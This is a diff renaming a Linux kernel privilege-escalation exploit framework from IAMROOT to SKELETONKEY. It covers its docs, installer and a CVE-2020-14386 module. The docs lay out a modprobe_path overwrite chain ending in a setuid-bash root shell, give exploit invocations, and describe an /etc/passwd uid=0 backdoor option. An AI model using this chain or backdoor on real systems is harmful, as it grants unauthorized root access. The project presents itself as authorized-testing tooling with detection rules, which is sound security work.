range metadata): file a public GitHub issue.
|
||||||
|
|
||||||
If you find a **new 0-day kernel LPE while inspired by reading
|
If you find a **new 0-day kernel LPE while inspired by reading
|
||||||
IAMROOT code**: please disclose it responsibly to the kernel
|
SKELETONKEY code**: please disclose it responsibly to the kernel
|
||||||
security team (`security@kernel.org`) and the affected distros
|
security team (`security@kernel.org`) and the affected distros
|
||||||
*before* writing a public PoC. Once upstream patch ships and a CVE
|
*before* writing a public PoC. Once upstream patch ships and a CVE
|
||||||
is assigned, IAMROOT will gladly accept the module.
|
is assigned, SKELETONKEY will gladly accept the module.
|
||||||
|
|
||||||
## Persistence and stealth are out of scope
|
## Persistence and stealth are out of scope
|
||||||
|
|
||||||
`--exploit-backdoor` in the copy_fail module overwrites a
|
`--exploit-backdoor` in the copy_fail module overwrites a
|
||||||
`/etc/passwd` line with a `uid=0` shell account. This is **overt**:
|
`/etc/passwd` line with a `uid=0` shell account. This is **overt**:
|
||||||
|
|
||||||
- The username is `iamroot` (was `dirtyfail`) — instantly identifiable
|
- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
|
||||||
- It's covered by the auditd rules IAMROOT ships
|
- It's covered by the auditd rules SKELETONKEY ships
|
||||||
- `--cleanup-backdoor` restores the original line
|
- `--cleanup-backdoor` restores the original line
|
||||||
|
|
||||||
If you're looking for evasion, persistence, or stealth: not here.
|
If you're looking for evasion, persistence, or stealth: not here.
|
||||||
Use a real C2 framework if you have authorization to do so. IAMROOT
|
Use a real C2 framework if you have authorization to do so. SKELETONKEY
|
||||||
stops at "demonstrate that the bug works."
|
stops at "demonstrate that the bug works."
|
||||||
|
|||||||
+27
-27
@@ -1,20 +1,20 @@
|
|||||||
# IAMROOT — kernel offset resolution
|
# SKELETONKEY — kernel offset resolution
|
||||||
|
|
||||||
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||||
write, slab UAF, etc.). The default `--exploit` returns
|
write, slab UAF, etc.). The default `--exploit` returns
|
||||||
`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
|
`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
|
||||||
bar means we don't claim root unless we empirically have it.
|
bar means we don't claim root unless we empirically have it.
|
||||||
|
|
||||||
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
|
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
|
||||||
converts the primitive to a real root pop via `modprobe_path` overwrite:
|
converts the primitive to a real root pop via `modprobe_path` overwrite:
|
||||||
|
|
||||||
```
|
```
|
||||||
attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
|
attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
|
||||||
→ execve("/tmp/iamroot-trig-<pid>") # unknown-format binary
|
→ execve("/tmp/skeletonkey-trig-<pid>") # unknown-format binary
|
||||||
→ kernel call_modprobe() # spawns modprobe_path as init
|
→ kernel call_modprobe() # spawns modprobe_path as init
|
||||||
→ /tmp/iamroot-mp-<pid>.sh runs as root
|
→ /tmp/skeletonkey-mp-<pid>.sh runs as root
|
||||||
→ cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
|
→ cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
|
||||||
→ caller exec /tmp/iamroot-pwn-<pid> -p
|
→ caller exec /tmp/skeletonkey-pwn-<pid> -p
|
||||||
→ root shell
|
→ root shell
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -27,14 +27,14 @@ address) at runtime.
|
|||||||
non-zero value for each field:
|
non-zero value for each field:
|
||||||
|
|
||||||
1. **Environment variables** — operator override.
|
1. **Environment variables** — operator override.
|
||||||
- `IAMROOT_KBASE=0x...`
|
- `SKELETONKEY_KBASE=0x...`
|
||||||
- `IAMROOT_MODPROBE_PATH=0x...`
|
- `SKELETONKEY_MODPROBE_PATH=0x...`
|
||||||
- `IAMROOT_POWEROFF_CMD=0x...`
|
- `SKELETONKEY_POWEROFF_CMD=0x...`
|
||||||
- `IAMROOT_INIT_TASK=0x...`
|
- `SKELETONKEY_INIT_TASK=0x...`
|
||||||
- `IAMROOT_INIT_CRED=0x...`
|
- `SKELETONKEY_INIT_CRED=0x...`
|
||||||
- `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
|
- `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
|
||||||
- `IAMROOT_CRED_OFFSET_EFF=0x...`
|
- `SKELETONKEY_CRED_OFFSET_EFF=0x...`
|
||||||
- `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
|
- `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
|
||||||
|
|
||||||
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
|
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
|
||||||
OR you're already root. On modern distros (kptr_restrict=1 by
|
OR you're already root. On modern distros (kptr_restrict=1 by
|
||||||
@@ -60,18 +60,18 @@ non-zero value for each field:
|
|||||||
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
|
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
|
||||||
|
|
||||||
# Use the addresses inline:
|
# Use the addresses inline:
|
||||||
IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
|
SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
|
||||||
iamroot --exploit nf_tables --i-know --full-chain
|
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||||
```
|
```
|
||||||
|
|
||||||
### Automated dump (preferred for upstreaming)
|
### Automated dump (preferred for upstreaming)
|
||||||
|
|
||||||
`iamroot --dump-offsets` walks the four-source chain itself and emits
|
`skeletonkey --dump-offsets` walks the four-source chain itself and emits
|
||||||
a ready-to-paste C struct entry on stdout:
|
a ready-to-paste C struct entry on stdout:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo iamroot --dump-offsets
|
sudo skeletonkey --dump-offsets
|
||||||
# /* Generated 2026-05-16 by `iamroot --dump-offsets`.
|
# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
|
||||||
# * Host kernel: 5.15.0-56-generic distro=ubuntu
|
# * Host kernel: 5.15.0-56-generic distro=ubuntu
|
||||||
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
|
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
|
||||||
# * Paste this entry into kernel_table[] in core/offsets.c.
|
# * Paste this entry into kernel_table[] in core/offsets.c.
|
||||||
@@ -88,21 +88,21 @@ sudo iamroot --dump-offsets
|
|||||||
```
|
```
|
||||||
|
|
||||||
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
|
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
|
||||||
and the new entry covers every IAMROOT user on that kernel. Open a
|
and the new entry covers every SKELETONKEY user on that kernel. Open a
|
||||||
PR to upstream it.
|
PR to upstream it.
|
||||||
|
|
||||||
### Per-host (write System.map readable)
|
### Per-host (write System.map readable)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo chmod 0644 /boot/System.map-$(uname -r)
|
sudo chmod 0644 /boot/System.map-$(uname -r)
|
||||||
iamroot --exploit nf_tables --i-know --full-chain
|
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||||
```
|
```
|
||||||
|
|
||||||
### Per-boot (lower kptr_restrict)
|
### Per-boot (lower kptr_restrict)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo sysctl kernel.kptr_restrict=0
|
sudo sysctl kernel.kptr_restrict=0
|
||||||
iamroot --exploit nf_tables --i-know --full-chain
|
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||||
```
|
```
|
||||||
|
|
||||||
Note: each of these requires root *once*. For a true non-root LPE on
|
Note: each of these requires root *once*. For a true non-root LPE on
|
||||||
@@ -144,14 +144,14 @@ build + distro you tested against. Upstreamed entries make the
|
|||||||
|
|
||||||
## Verifying success
|
## Verifying success
|
||||||
|
|
||||||
The shared finisher (`iamroot_finisher_modprobe_path()`) drops a
|
The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
|
||||||
sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our
|
sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
|
||||||
payload. The finisher polls for this file with `S_ISUID` mode set
|
payload. The finisher polls for this file with `S_ISUID` mode set
|
||||||
for up to 3 seconds. Only when the sentinel materializes does the
|
for up to 3 seconds. Only when the sentinel materializes does the
|
||||||
module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec
|
module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
|
||||||
the setuid bash to drop a root shell.
|
the setuid bash to drop a root shell.
|
||||||
|
|
||||||
If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL`
|
If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
|
||||||
with a diagnostic. Reasons it might fail even with offsets resolved:
|
with a diagnostic. Reasons it might fail even with offsets resolved:
|
||||||
|
|
||||||
- The arb-write didn't actually land (slab adjacency lost, value-pointer
|
- The arb-write didn't actually land (slab adjacency lost, value-pointer
|
||||||
|
|||||||
+29
-29
@@ -1,19 +1,19 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
# IAMROOT one-shot installer.
|
# SKELETONKEY one-shot installer.
|
||||||
#
|
#
|
||||||
# Usage:
|
# Usage:
|
||||||
# curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
# curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||||
#
|
#
|
||||||
# Or with explicit version:
|
# Or with explicit version:
|
||||||
# IAMROOT_VERSION=v0.1.0 curl ... | sh
|
# SKELETONKEY_VERSION=v0.1.0 curl ... | sh
|
||||||
#
|
#
|
||||||
# Or install to a different prefix:
|
# Or install to a different prefix:
|
||||||
# IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh
|
# SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
|
||||||
#
|
#
|
||||||
# Environment:
|
# Environment:
|
||||||
# IAMROOT_VERSION release tag (default: latest)
|
# SKELETONKEY_VERSION release tag (default: latest)
|
||||||
# IAMROOT_PREFIX install dir (default: /usr/local/bin if writable, else error)
|
# SKELETONKEY_PREFIX install dir (default: /usr/local/bin if writable, else error)
|
||||||
# IAMROOT_REPO override repo (default: KaraZajac/IAMROOT)
|
# SKELETONKEY_REPO override repo (default: KaraZajac/SKELETONKEY)
|
||||||
#
|
#
|
||||||
# Exit codes:
|
# Exit codes:
|
||||||
# 0 — installed successfully
|
# 0 — installed successfully
|
||||||
@@ -21,9 +21,9 @@
|
|||||||
|
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
|
|
||||||
REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}"
|
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||||
VERSION="${IAMROOT_VERSION:-latest}"
|
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||||
PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}"
|
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
|
||||||
|
|
||||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||||
@@ -40,11 +40,11 @@ log "detected arch: $target"
|
|||||||
|
|
||||||
# Resolve version → download URL
|
# Resolve version → download URL
|
||||||
if [ "$VERSION" = "latest" ]; then
|
if [ "$VERSION" = "latest" ]; then
|
||||||
url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}"
|
url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
|
||||||
sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256"
|
sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
|
||||||
else
|
else
|
||||||
url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}"
|
url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
|
||||||
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256"
|
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
|
||||||
fi
|
fi
|
||||||
log "downloading from: $url"
|
log "downloading from: $url"
|
||||||
|
|
||||||
@@ -56,18 +56,18 @@ fi
|
|||||||
tmp=$(mktemp -d)
|
tmp=$(mktemp -d)
|
||||||
trap 'rm -rf "$tmp"' EXIT
|
trap 'rm -rf "$tmp"' EXIT
|
||||||
|
|
||||||
if ! curl -fsSLo "$tmp/iamroot" "$url"; then
|
if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
|
||||||
fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
|
fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Verify checksum if available
|
# Verify checksum if available
|
||||||
if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then
|
if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
|
||||||
# The .sha256 file has the binary's original name; normalize for our local copy
|
# The .sha256 file has the binary's original name; normalize for our local copy
|
||||||
expected=$(awk '{print $1}' "$tmp/iamroot.sha256")
|
expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
|
||||||
if command -v sha256sum >/dev/null 2>&1; then
|
if command -v sha256sum >/dev/null 2>&1; then
|
||||||
actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}')
|
actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
|
||||||
elif command -v shasum >/dev/null 2>&1; then
|
elif command -v shasum >/dev/null 2>&1; then
|
||||||
actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}')
|
actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
|
||||||
else
|
else
|
||||||
actual=""
|
actual=""
|
||||||
log "no sha256sum/shasum available — skipping checksum verification"
|
log "no sha256sum/shasum available — skipping checksum verification"
|
||||||
@@ -83,17 +83,17 @@ else
|
|||||||
log "no checksum file at $sha_url — skipping verification"
|
log "no checksum file at $sha_url — skipping verification"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
chmod +x "$tmp/iamroot"
|
chmod +x "$tmp/skeletonkey"
|
||||||
|
|
||||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
# Install. Try $PREFIX directly; if not writable, sudo.
|
||||||
target_path="$PREFIX/iamroot"
|
target_path="$PREFIX/skeletonkey"
|
||||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
||||||
mv "$tmp/iamroot" "$target_path"
|
mv "$tmp/skeletonkey" "$target_path"
|
||||||
elif command -v sudo >/dev/null 2>&1; then
|
elif command -v sudo >/dev/null 2>&1; then
|
||||||
log "$PREFIX needs sudo; you may be prompted for password"
|
log "$PREFIX needs sudo; you may be prompted for password"
|
||||||
sudo mv "$tmp/iamroot" "$target_path"
|
sudo mv "$tmp/skeletonkey" "$target_path"
|
||||||
else
|
else
|
||||||
fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin"
|
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
ok "installed: $target_path"
|
ok "installed: $target_path"
|
||||||
@@ -104,10 +104,10 @@ cat >&2 <<EOF
|
|||||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||||
|
|
||||||
Quickstart:
|
Quickstart:
|
||||||
sudo iamroot --scan # what's this box vulnerable to?
|
sudo skeletonkey --scan # what's this box vulnerable to?
|
||||||
sudo iamroot --audit # broader system hygiene
|
sudo skeletonkey --audit # broader system hygiene
|
||||||
sudo iamroot --detect-rules --format=auditd \\
|
sudo skeletonkey --detect-rules --format=auditd \\
|
||||||
| sudo tee /etc/audit/rules.d/99-iamroot.rules # deploy detection rules
|
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
|
||||||
|
|
||||||
See \`iamroot --help\` for all commands.
|
See \`skeletonkey --help\` for all commands.
|
||||||
EOF
|
EOF
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ reachable.
|
|||||||
|
|
||||||
## Decision needed before implementing
|
## Decision needed before implementing
|
||||||
|
|
||||||
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
|
Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
|
||||||
yes, this module ships. If we restrict to "default Linux user
|
yes, this module ships. If we restrict to "default Linux user
|
||||||
account, no namespace tricks," this module is out of scope.
|
account, no namespace tricks," this module is out of scope.
|
||||||
|
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
|
|||||||
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
|
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
|
||||||
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
|
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
Sibling of CVE-2017-7308; same subsystem, different code path.
|
Sibling of CVE-2017-7308; same subsystem, different code path.
|
||||||
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
|
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
|
||||||
@@ -24,5 +24,5 @@ PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
|
|||||||
attempts the Or-Cohen-style sk_buff data-pointer hijack through
|
attempts the Or-Cohen-style sk_buff data-pointer hijack through
|
||||||
the shared finisher.
|
the shared finisher.
|
||||||
|
|
||||||
Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308
|
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
|
||||||
module so detection signatures dedupe cleanly.
|
module so detection signatures dedupe cleanly.
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef AF_PACKET2_IAMROOT_MODULES_H
|
|
||||||
#define AF_PACKET2_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module af_packet2_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+42
-42
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* af_packet2_cve_2020_14386 — IAMROOT module
|
* af_packet2_cve_2020_14386 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
|
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
|
||||||
* write-before-allocation. Different bug from CVE-2017-7308 — same
|
* write-before-allocation. Different bug from CVE-2017-7308 — same
|
||||||
@@ -10,12 +10,12 @@
|
|||||||
* - Default (no --full-chain): the exploit() entry point reaches the
|
* - Default (no --full-chain): the exploit() entry point reaches the
|
||||||
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
|
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
|
||||||
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
|
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
|
||||||
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
|
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
|
||||||
* behavior — kernel-version-agnostic, no offsets baked in).
|
* behavior — kernel-version-agnostic, no offsets baked in).
|
||||||
* - With --full-chain: after the underflow lands, we resolve kernel
|
* - With --full-chain: after the underflow lands, we resolve kernel
|
||||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||||
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
|
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
|
||||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself is
|
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
|
||||||
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
|
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
|
||||||
* us a single 8-byte heap-OOB write into the head of the
|
* us a single 8-byte heap-OOB write into the head of the
|
||||||
* adjacent-page slab object; we spray sk_buffs so that next-page
|
* adjacent-page slab object; we spray sk_buffs so that next-page
|
||||||
@@ -43,7 +43,7 @@
|
|||||||
* before backport. Embedded systems with 4.x kernels still in production.
|
* before backport. Embedded systems with 4.x kernels still in production.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
@@ -75,7 +75,7 @@
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||||
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
|
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
|
||||||
* Provide empty stubs so syntax checks pass without Linux headers.
|
* Provide empty stubs so syntax checks pass without Linux headers.
|
||||||
* The exploit path is gated at runtime on the kernel version anyway,
|
* The exploit path is gated at runtime on the kernel version anyway,
|
||||||
* so the stubs are never reached on macOS targets. */
|
* so the stubs are never reached on macOS targets. */
|
||||||
@@ -148,12 +148,12 @@ static int can_unshare_userns(void)
|
|||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
|
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
||||||
@@ -162,7 +162,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
||||||
v.release);
|
v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
|
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
|
||||||
@@ -170,7 +170,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
int userns_ok = can_unshare_userns();
|
||||||
@@ -185,12 +185,12 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
|
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
|
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
|
||||||
@@ -280,7 +280,7 @@ static int get_ifindex(const char *name)
|
|||||||
/* The primitive run; executed inside the unshare()'d child. Returns
|
/* The primitive run; executed inside the unshare()'d child. Returns
|
||||||
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
|
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
|
||||||
* at the kernel level (setsockopt rejected our crafted ring)". */
|
* at the kernel level (setsockopt rejected our crafted ring)". */
|
||||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (bring_up_lo() < 0) {
|
if (bring_up_lo() < 0) {
|
||||||
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
|
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
|
||||||
@@ -441,7 +441,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
|
|
||||||
#else /* !__linux__: provide a stub for macOS sanity builds */
|
#else /* !__linux__: provide a stub for macOS sanity builds */
|
||||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
|
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
|
||||||
@@ -473,7 +473,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
|||||||
* Reality check on this implementation: the deterministic mechanics
|
* Reality check on this implementation: the deterministic mechanics
|
||||||
* of the above (precise frame size, repeated spray timing, sk_buff
|
* of the above (precise frame size, repeated spray timing, sk_buff
|
||||||
* struct offset for the running kernel) are not portable enough to
|
* struct offset for the running kernel) are not portable enough to
|
||||||
* land reliably from a single iamroot run on an arbitrary host. We
|
* land reliably from a single skeletonkey run on an arbitrary host. We
|
||||||
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
|
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
|
||||||
* trigger sequence, then return -1 to signal "the primitive fired
|
* trigger sequence, then return -1 to signal "the primitive fired
|
||||||
* but we cannot empirically confirm the write landed". The shared
|
* but we cannot empirically confirm the write landed". The shared
|
||||||
@@ -486,7 +486,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
|||||||
* write-and-readback once the per-kernel sk_buff layout is pinned
|
* write-and-readback once the per-kernel sk_buff layout is pinned
|
||||||
* down for the target host. */
|
* down for the target host. */
|
||||||
struct afp2_arb_ctx {
|
struct afp2_arb_ctx {
|
||||||
const struct iamroot_ctx *ictx;
|
const struct skeletonkey_ctx *ictx;
|
||||||
int n_attempts; /* spray/fire rounds before giving up */
|
int n_attempts; /* spray/fire rounds before giving up */
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -543,7 +543,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
||||||
* empirically confirm the 8-byte write landed on an sk_buff->data
|
* empirically confirm the 8-byte write landed on an sk_buff->data
|
||||||
* field on this host. Return -1 so the finisher's sentinel-check
|
* field on this host. Return -1 so the finisher's sentinel-check
|
||||||
* loop in iamroot_finisher_modprobe_path() correctly reports
|
* loop in skeletonkey_finisher_modprobe_path() correctly reports
|
||||||
* "payload didn't run within 3s" rather than claiming success. */
|
* "payload didn't run within 3s" rather than claiming success. */
|
||||||
fprintf(stderr,
|
